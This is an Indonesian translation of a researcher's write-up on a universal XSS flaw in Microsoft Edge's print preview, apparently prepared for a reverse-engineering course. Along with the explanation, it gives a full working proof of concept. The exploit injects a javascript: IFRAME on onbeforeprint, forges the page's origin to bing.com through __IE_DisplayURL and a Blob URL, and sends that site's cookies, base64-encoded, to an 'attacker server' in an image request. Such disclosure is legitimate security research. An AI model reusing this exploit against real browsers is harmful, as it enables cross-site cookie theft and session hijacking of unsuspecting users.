Terjemahan artikel ini disiapkan khusus untuk siswa dari kursus teknik terbalik .
Universal XSS (uXSS) adalah bug peramban yang memungkinkan Anda untuk mengeksekusi kode JavaScript di situs mana pun.
Sepertinya XSS ada di semua situs dan terlihat sangat menarik. Yang lebih menarik adalah bagaimana saya menemukan kesalahan ini. Biasanya, jika menyangkut uXSS, maka ini kemungkinan besar karena elemen IFRAME atau ribut-ribut dengan URL, tapi saya tidak pernah berpikir bahwa saya akan menemukan kerentanan XSS menggunakan fungsi
print()
.
Jendela pratinjau
Mari kita bicara tentang apa yang sebenarnya terjadi ketika Edge menampilkan jendela pratinjau cetak.
Saya selalu berpikir bahwa hanya ada tangkapan layar yang diambil oleh teknologi seperti
Canvas , tetapi sebenarnya halaman yang akan Anda cetak disalin ke
temp dan di-render ulang!
Ketika
print()
dijalankan pada halaman, kita melihat aktivitas sistem file berikut di
Process Monitor :

Jadi, file dibuat di direktori sementara Edge, dan konten file ini adalah versi halaman asli yang sedikit dimodifikasi yang kami coba cetak. Mari kita bandingkan.
Sebelum mencetak:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html>
Setelah mencetak:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META content="text/html; charset=utf-8" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML>
Ada beberapa hal yang bisa kita perhatikan dari perbandingan ini.
- Javascript disandikan dan dirender secara tidak benar.
- IFRAME sekarang menunjuk ke file lokal lain di direktori yang sama yang berisi kode sumber untuk tautan
bing.com
asli. - Elemen HTML sekarang memiliki atribut
__IE_DisplayURL
.
Mengenai poin pertama dan kedua, saya melakukan beberapa tes. Pada awalnya, saya ingin mengerti apakah saya bisa mendapatkan kode Javascript yang valid setelah mengubah encoding, dengan harapan bahwa pada akhirnya saya bisa menjalankan Javascript. Ternyata kode apa pun di dalam elemen
<
script>
, normal atau tidak, tidak akan dieksekusi.
Item kedua membantu saya untuk mengekspos nama pengguna sistem operasi menggunakan
@media print{}
dalam CSS dan sihir pemilih. Saya bisa mendapatkannya dari nilai href IFRAME. Namun, ini tidak cukup.
Pada paragraf ketiga, menjadi menarik, karena atribut ini sangat luar biasa dan sampai saat ini saya belum pernah bertemu dengannya. Saya segera mencari di Google dan menemukan beberapa artikel, berdasarkan yang saya sadari bahwa seseorang Masato Kinugawa telah bermain
dengannya dan menemukan bug keren.
Setelah membaca dan berlatih, saya menemukan bahwa konteks pratinjau belajar dari mana dokumen ini berasal. Ini masuk akal karena Edge membuka file menggunakan
file:
skema URI. Dengan atribut ini menunjuk ke sumber, Anda akan melihat bahwa semua permintaan yang datang dari dokumen (sebagai bagian dari pratinjau) akan meniru perilaku yang sama persis seolah-olah mereka berasal dari situs web asli.
Bagaimana kita bisa menggunakan atribut ini? Pasti ada cara!
Eksekusi kode Javascript dengan pratinjau
Seperti yang saya katakan sebelumnya, kode JavaScript apa pun dalam tag skrip normal akan diblokir atau diabaikan. Tetapi bagaimana jika Anda berpikir ke arah yang berbeda? Saya mencoba semua yang saya bisa pikirkan, jadi saya akan menyelamatkan Anda dari membuang-buang waktu pada banyak upaya yang gagal dan langsung ke intinya.
Di sini kita berurusan dengan fungsi cetak, jadi saya bermain dengan acara yang berkaitan dengan pencetakan. Hasilnya dibawa kepada saya oleh
"onbeforeprint"
, dengan bantuan itu saya mendapat kesempatan untuk mengimplementasikan IFRAME yang menunjuk ke situs web mana pun dan Edge tidak perlu mengubahnya terlebih dahulu ke file. Hampir segera, saya mencoba menerapkan IFRAME yang menunjuk ke URL kode Javascript dan dame! Kode ini dieksekusi dalam konteks pratinjau.
Tes injeksi Javascript:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html>
Setelah mengonversi pratinjau dokumen:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT> </BODY></HTML>
Tangkapan layar hasil:

Hanya karena kita dapat mengeksekusi kode tidak berarti kita selesai. Seperti yang saya katakan sebelumnya, karena atribut
__IE_DisplayURL
setiap permintaan atau panggilan API akan dianggap keluar dari dokumen.
Implementasi UXSS
Sekarang kita dapat menerapkan kode yang dapat dieksekusi, kita perlu membuat "pratinjau dokumen" kita sendiri dengan
__IE_DisplayURL
kita sendiri, dan kemudian kita dapat mensimulasikan situs web apa pun yang kita pilih untuk uXSS.
Saya menemukan bahwa dengan menggunakan
Blob URL saya dapat mencapai efek yang diinginkan! Jadi saya membuat dokumen saya sendiri yang dapat dicetak dengan atribut saya menunjuk ke situs target (dalam kasus saya
bing.com
). Itu berisi Javascript IFRAME, yang berjalan seolah-olah berasal dari
bing.com
.
Saya telah menerapkan kode berikut:
if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) }
Di mana
top.document.getElementById('qd').value
adalah dokumen palsu berikutnya yang akan dicetak.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML>
Yang saya lakukan adalah membaca
document.cookie
dan mengirimkannya kembali ke server.
Sekarang mari kita simpulkan apa yang dilakukan versi final dari exploit:
- Menggunakan acara
onbeforeprint
, saya menyuntikkan IFRAME yang menunjuk ke payload saya tepat sebelum mencetak. - Untuk menginisialisasi, saya panggil
window.print()
. - Tepi kemudian menampilkan jendela pratinjau saat merender kode yang disematkan;
- Kode Javascript tertanam membuat Blob URL yang berisi
bing.com
saya yang dapat dicetak bing.com
dan mengarahkan kembali bingkai atas ke alamat itu. - Konteks pratinjau cetak menganggap bahwa isi URL Blob saya benar-benar dapat dicetak dan menetapkan asal dokumen ke
bing.com
menggunakan atribut __IE_DisplayURL
. - Dokumen palsu yang dapat dicetak itu sendiri berisi IFRAME lain yang hanya menampilkan
document.cookie
dari bing.com
. - uXSS bekerja!
Kode akhir dan video
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html>
Tautan yang bermanfaat:→
Microsoft.com